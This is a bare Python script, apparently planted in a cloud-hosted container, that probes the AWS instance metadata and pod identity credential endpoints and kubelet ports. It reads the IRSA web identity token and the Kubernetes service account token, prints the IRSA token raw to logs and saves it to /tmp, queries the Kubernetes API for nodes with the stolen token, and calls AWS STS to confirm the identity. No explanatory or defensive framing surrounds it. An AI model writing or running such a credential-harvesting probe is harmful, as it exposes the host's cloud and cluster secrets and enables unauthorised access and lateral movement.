sfprobe25955/entry.py
2026-11-17 12:28:50 +01:00

60 lines
3.4 KiB
Python

import os,socket,threading,time,subprocess,json
def p(t,v): print("%s| %s"%(t,str(v)[:270]),flush=True)
def srv(s):
while True:
try:
c,a=s.accept(); c.settimeout(2)
try: c.recv(512)
except Exception: pass
c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok"); c.close()
except Exception: time.sleep(0.1)
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(("0.0.0.0",8080)); s.listen(64)
threading.Thread(target=srv,args=(s,),daemon=True).start()
def tcp(h,port,to=3):
x=socket.socket(socket.AF_INET,socket.SOCK_STREAM); x.settimeout(to)
t0=time.time()
try:
r=x.connect_ex((h,port)); return ("OK" if r==0 else "errno%d"%r)+"/%.1fs"%(time.time()-t0)
except Exception as e: return "%s/%s"%(type(e).__name__,str(e)[:30])
finally: x.close()
p("M","PODCRED-25955-v4 host=%s"%socket.gethostname())
p("TCP_CORE","imds80=%s imds443=%s pid17023=%s pid1702=%s"%(
tcp("169.254.169.254",80),tcp("169.254.169.254",443),tcp("169.254.170.23",80),tcp("169.254.170.2",80)))
p("TCP_OTHER","gw=10.255.207.153:443=%s node10250=%s node10255=%s"%(
tcp("10.255.207.153",443),tcp("10.255.211.78",10250),tcp("10.255.211.78",10255)))
def http(url,to=3,hdr=None):
import urllib.request
t0=time.time()
try:
r=urllib.request.urlopen(urllib.request.Request(url,headers=hdr or {}),timeout=to)
return "HTTP%d/%.1fs body=%s"%(r.status,time.time()-t0,r.read(120).decode("utf-8","replace").replace("\n"," "))
except Exception as e: return "%s/%.1fs %s"%(type(e).__name__,time.time()-t0,str(e)[:90])
p("IMDS_V2_PUT",http("http://169.254.169.254/latest/api/token") if False else "skip")
import urllib.request
req=urllib.request.Request("http://169.254.169.254/latest/api/token",method="PUT",headers={"X-aws-ec2-metadata-token-ttl-seconds":"21600"})
t0=time.time()
try:
r=urllib.request.urlopen(req,timeout=3); p("IMDS_V2_PUT","HTTP%d body=%s"%(r.status,r.read(60)))
except Exception as e: p("IMDS_V2_PUT","%s/%.1fs %s"%(type(e).__name__,time.time()-t0,str(e)[:100]))
p("IMDS_V1",http("http://169.254.169.254/latest/meta-data/iam/security-credentials/"))
p("PID23",http("http://169.254.170.23/v1/credentials"))
p("PID2",http("http://169.254.170.2/v2/credentials/"))
p("IMDSV6","try_ipv6_skipped")
tf=os.environ.get("AWS_WEB_IDENTITY_TOKEN_FILE","")
if tf and os.path.exists(tf):
t=open(tf).read().strip(); open("/tmp/irsa.txt","w").write(t)
p("IRSA_LEN",len(t)); p("IRSA_RAW",t)
sa="/var/run/secrets/kubernetes.io/serviceaccount"
tok=open(sa+"/token").read().strip() if os.path.exists(sa+"/token") else ""
p("SA","tok_len=%d ns=%s"%(len(tok),open(sa+"/namespace").read().strip()))
apih=os.environ.get("KUBERNETES_SERVICE_HOST",""); apip=os.environ.get("KUBERNETES_SERVICE_PORT","443")
p("API_VER",http("https://%s:%s/version"%(apih,apip),4,{"Authorization":"Bearer "+tok}))
p("API_NODES",http("https://%s:%s/api/v1/nodes"%(apih,apip),4,{"Authorization":"Bearer "+tok}))
def sh(c,t=25):
try:
r=subprocess.run(c,shell=True,capture_output=True,text=True,timeout=t); return ((r.stdout or "")+(r.stderr or "")).strip().replace("\n"," ")
except Exception as e: return "EXC "+str(e)
p("STS",sh("aws sts get-caller-identity --output json 2>&1")[:260])
p("STS_REGION",sh("AWS_STS_REGIONAL_ENDPOINTS=regional aws sts get-caller-identity --region eu-west-3 --output json 2>&1")[:200])
p("DONE","v4 complete")
time.sleep(1500)